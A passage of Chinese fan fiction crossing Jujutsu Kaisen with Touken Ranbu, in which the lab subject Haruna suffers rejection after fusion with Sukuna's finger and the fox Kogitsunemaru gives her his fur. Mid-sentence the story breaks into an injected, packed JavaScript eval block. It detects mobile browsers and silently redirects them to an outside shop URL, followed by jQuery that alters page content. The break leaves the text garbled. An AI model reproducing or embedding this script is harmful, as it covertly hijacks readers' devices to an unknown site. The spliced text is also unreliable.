碰到神经病了。
春奈想。
并且神经病对她兴致勃勃,短时间内可能都要在神经病的手下讨生活。
她返回为普通的肉块,再一次在罐子里起起伏伏。
在此期间实验室再次升级,名叫虎杖香织的女性极为了解咒物的强度,原本普通人概念中坚不可摧的实验室重新装修,墙壁中埋进各种各样的符纸,春奈能感觉到空气不再自由,而是充斥着压迫。
是针对咒物的封印。
而宿傩手指,也再一次放入到了春奈的罐子里,研究员管这个叫做“共培养”,看来他们之前就是这么做的。
那段时间春奈忙着和小狐丸在时政玩,放任肉块组织自然生长,不知不觉就和手指融为一体了。
春奈默不作声地看着一切,她很是不满。
她如今控制不了自己的生长,像是从第一次生长成人类得到了甜头,她的身体只要回归肉块,便不再像之前可以任意控制走向,而是迫不及待地成长为完整的个体。
于是春奈不得在生长中和恶心的手指头融为一体。
呕,烦人!恶心!
不是没融合过卖相更不佳的咒物,但不同于其他顺利和春奈融为一体的咒物,这一个在春奈身上的存在感过于高了,像是有自己的意识,春奈打心底里厌烦。
于是排异反应也格外强烈。
原本的实验体能够在半个月以上的时间中保持稳定形态,如今,因为加入了宿傩手指,实验体往往是刚成型便开始崩坏。
研究员们叫苦不迭,但虎杖香织不知是怎么想的,铁了心要把这个糟糕的特级咒物和实验体融合。
“我看过所有的实验记录,开始不也崩溃过许许多多次?她最后还是适应了。”虎杖香织说,“这次一定也可以。”
研究员语塞,犹豫道,“但之前最多也只是一级咒物……这可是特级啊!说不定1号的适应时间会是之前的几何倍数!”
虎杖香织看了一眼研究员,一个有着敏捷大脑的普通人。香织嘴角带着高深莫测的笑容,“时间而已,我最不缺少的就是耐心。”
说完,这位空降的神秘上级便翩然离去,据说正是新婚期,过一阵子就要备孕了。
研究员叫苦不迭,上级等得起,他们可等不起,研究所靠实绩说话,他们被分配到实验体1号好不容易看到些希望的曙光,这位香织小姐偏要把研究方向往沟里带。
*
“你来了。”
巨大的白色狐狸将尾巴盖在春奈身上,像被子一样,春奈哼哼唧唧地在地面打滚,顺势翻身骑住狐狸尾巴。
小狐丸好脾气地任她胡闹。
已经是这段时间不知道第多少次春奈出现在意识空间中了,小狐丸再迟钝也意识到,一定是现世发生了什么事,才让春奈不得不几次三番陷入深层意识。
顺提,小狐丸多次尝试,春奈仍未发现意识中的大狐狸和刀剑付丧神其实是同一位,并且在面对狐狸形态的小狐丸时格外好说话。
唉……笨蛋。
春奈又开始顺着尾巴往小狐丸的背上爬,小狐丸干脆一卷尾巴,将春奈抛起,再稳稳地用后背接住。
春奈陷入一片柔软温暖的毛茸茸中,幸福得不想说话。
“所以,”小狐丸率先挑起话头,“你那边最近发生了什么大事吗?”
春奈想了想,“还好,来了个新上级,非要把特级咒物和我融在一起,排异反应还挺严重的。”
在不断成为肉块成长的时间里,整个实验室包括羂索都认为春奈是无意识的,她趁机从周围的环境中学习成长了一番,弄明白了不少化学知识,连排异反应是什么都知道了。
小狐丸听完严肃起来,“排异?很严重?”
春奈乖乖点头,并未当回事,“反正我很快又能长好,再失败些次数,他们就会放弃啦。”
只字不提自己在排异过程中受的苦。
小狐丸的鼻子不满地喷气,他翻了个身,不轻不重地将春奈从背上抖落。
“哎呀。”春奈叫道,软绵绵地滚了几圈,顺势抱住小狐丸的嘴筒子。
小狐丸:“……等下!”
他生怕冒犯到对方,连忙屏住了呼吸,可是在那之前已经不小心嗅到了春奈的气味。
是动物们最喜欢的草木香气,让人第一时间想到午后阳光下的鲜嫩草地。
动物形态的嗅觉要远超付丧神形态,小狐丸下意识将春奈的气味牢牢刻入脑海,还不忘提醒对方:“……春奈,太近了些!”
女孩子才不管呢,在她眼中大狐狸就是一只大一点的小狗,和小狗贴贴又不犯法。
春奈的回应是捏了捏狐狸嘴筒子上的肉,完全无视了小狐丸的警告。
小狐丸:……
别怪他。
春奈正扒开小狐丸的嘴筒子试图研究狐狸的牙齿,忽然只是微微张开的嘴部彻底张开,接着她的身子一歪,狐狸的爪垫将她扑倒,然后嘴巴凑上来,将她整张脸舔得湿漉漉的。
春奈:“哎呀!坏狗狗!”
小狐丸:“——是狐狸!”
他们像小学生一样一来一回地打起来,春奈试图捏住狐狸的嘴筒子,而后者则锲而不舍地将春奈的脸颊舔得湿漉漉的。
最后是春奈笑得喘不过气来,“哈哈哈哈好痒!可恶!我投降!”
小狐丸这才坏坏地放过她,任由春奈用他的毛擦脸。
“哼哼,知道我的厉害了吧?”
“下次肯定是我赢!”春奈抗议道,“真正的我很有力气的!一下子——就能将你举起来!”
小狐丸悠闲地趴在地上,“真的?那我就拭目以待了。”
“真的!”春奈冲过来,开启新一轮的写作战斗读作玩耍的挑战。
“……”
“还是我赢,”小狐丸得意道,“动物的反应能力比人类强很多哦。”
春奈趴在地上捶地,“我严格意义上不算人类了!”
“严格意义上来说我也不算是完全的动物。”小狐丸试图再次解释自己的形态问题,然而春奈又跳起来摸他的耳朵毛,此话题只好再次作罢。
好啊。小狐丸难得愤愤不平地想。他干脆就不告诉春奈自己其实就是付丧神的那一个小狐丸了,看春奈什么时候发现!
“等一下哦。”春奈忽然说,接着她无影无踪。
小狐丸心知春奈苏醒了,他仔细嗅闻着,在春奈离开期间,曾有一股十分邪恶的气息妄图入侵这里。
不止一次,最近只要是春奈离开,邪恶气息便卷土重来。
小山一样大的狐狸弓起后背,警惕地踱步,随时准备攻击即将出现的敌人。
没过几分钟,春奈回来了,入侵的气息消失不见。
不,不能说完全地消失,仅剩一缕停留在春奈身上,就像是与春奈刚刚接触过一般。
“嘿嘿。”春奈傻笑了一下,“加快了崩坏速度,让他们自己想办法去吧!”
“这样不行。”小狐丸忽然说。
春奈困惑地歪头,“什么不行?”
相处的日子不多,但小狐丸逐渐摸清了春奈的性格。
温吞、有礼貌,最重要的是特别好说话。春奈能够天然地站在别人的立场考虑事情,小狐丸就没见过春奈讨厌过什么事物。
能够因为入江愧疚的几句话就将对方当做好友,会因为其他研究员随手送出的小物件而乖乖配合实验。当然,小狐丸也知道,春奈也一定会因为喜欢毛茸茸而对他言听计从。
“我是说,不可以再继续崩坏下去了。”小狐丸不动声色道,将毛茸茸的尾巴盖在春奈端坐的膝盖上,“持续的崩坏对你百害无利,你看,你的灵魂也在变得虚弱。”
春奈摸着毛茸茸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497907|202592||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
、温热的尾巴,经过小狐丸的提醒,第一次仔仔细细端详自己。
手掌依旧是人类的手掌,但在手腕处,有一小截缝合线在悄然浮现,那是她作为怪物时才会有的特征。
她撩起水手服袖子,缝合线一路向上交错延伸,近看更有随时崩开、四分五裂的错觉。
“啊,不妙。”春奈这才意识到严重性,她发现缝合线到了大臂还没有变少的趋势,索性直接撩起衣摆要看个仔细。
女孩子大大方方的,一点都没有把小狐丸当外人。
当然啦,在春奈眼中,小狐丸是一只很大的狗狗嘛,人怎么会羞于在小狗面前露出身体呢?
小狐丸:!
小狐丸跳起来,他急急忙忙地转身,猛地一扫尾巴。
“哎呀!你干嘛!”春奈失去平衡,被白色大尾巴绊倒,发出受击音效。
继续查看身上是否有缝合线一事也就不了了之,春奈一向单线程,眼下被绊倒后,脑中只剩下对小狐丸行动的疑惑。
再一看,小狐丸留给她一个带着些惊慌的宽厚背影,但因为是白色皮毛,以春奈的角度来看胖胖的……呃,蓬蓬的。
还挺萌。
听到春奈没有动静以后,小狐丸慢慢转过身来,他抱怨道,“不要随便撩起衣服啊!”
“但你是小狗。”春奈捧读道,“人类是不会因为在小狗面前换衣服羞耻而死的。”
小狐丸:“我不是小狗!”
春奈:“那我也不是人类!”
小狐丸总是拿春奈没办法。
“总之!”小狐丸不知道自己究竟说了多少次‘总之’,他稍微提高声音说道,“不可以再随便崩坏了。”
春奈无奈道,“但我控制不了呀,宿傩手指是特级咒物,我无法消化。”
里面蕴含了很多咒力,春奈也很心动的,奈何实力不达标,版本不兼容。
“用我的皮毛。”小狐丸说,“我的皮毛有神明加持,那个咒物听起来体积不大的样子,用我的皮毛包裹住它然后再融合,你就不会再持续崩坏。”
做到这一步和交换信物也没什么区别了,小狐丸想道。
他以为这样的解决方法会得到小实验体崇拜的眼神,然而,小狐丸一低头,春奈露出天崩地裂的表情。
“皮、皮毛?”春奈捂住脸大叫,一副很崩溃的样子,“不要!那我还是继续崩坏好了!”
“春、春奈?”
“小狗没有毛是非常丑的啊!!”在小狐丸无措的询问中,春奈大叫道。
场面一时变得十分混乱。
小狐丸费了些口舌才让春奈理解所谓的皮毛并不是要将他所有的毛发都剔掉,也不是血腥地连皮都剥掉。
“喏。”小狐丸偏头,用嘴巴从身侧拔下一簇毛。
春奈瞪大眼睛,伸手接过,“这样就可以了吗?”
“当然!”小狐丸说,“我也很爱惜自己毛发的!”
“哦哦。”春奈将这簇白毛妥帖地收起,她看着小狐丸难得露出愤愤不平的表情有些好笑,想着做些什么弥补之前的乌龙。
不愧是意识深处,当春奈绞尽脑汁思索的时候,她的手中凭空出现一把梳子,是刀剑付丧神小狐丸给她的那把。
嗯……是小狐丸先生送给她的梳子。那位也是白毛来着,应当不介意她用这把梳子给狗狗梳毛的吧?
春奈纠结几秒,痛快地选择用这把梳子给大狗狗梳毛赔罪。
被拔掉毛的位置乱成一团,春奈轻轻地把所有可能打结的地方捋顺,小小的一把梳子要想把小狐丸整个都梳一遍可是个大工程,但春奈最不缺的就是耐心。
她挽起袖子,励志今天把小狐丸打理得油光水滑。
而小狐丸喜欢被梳毛。
他不自觉发出呼噜声,不忘叮嘱春奈,“我的毛发有神明的加护,一定会有效果的!”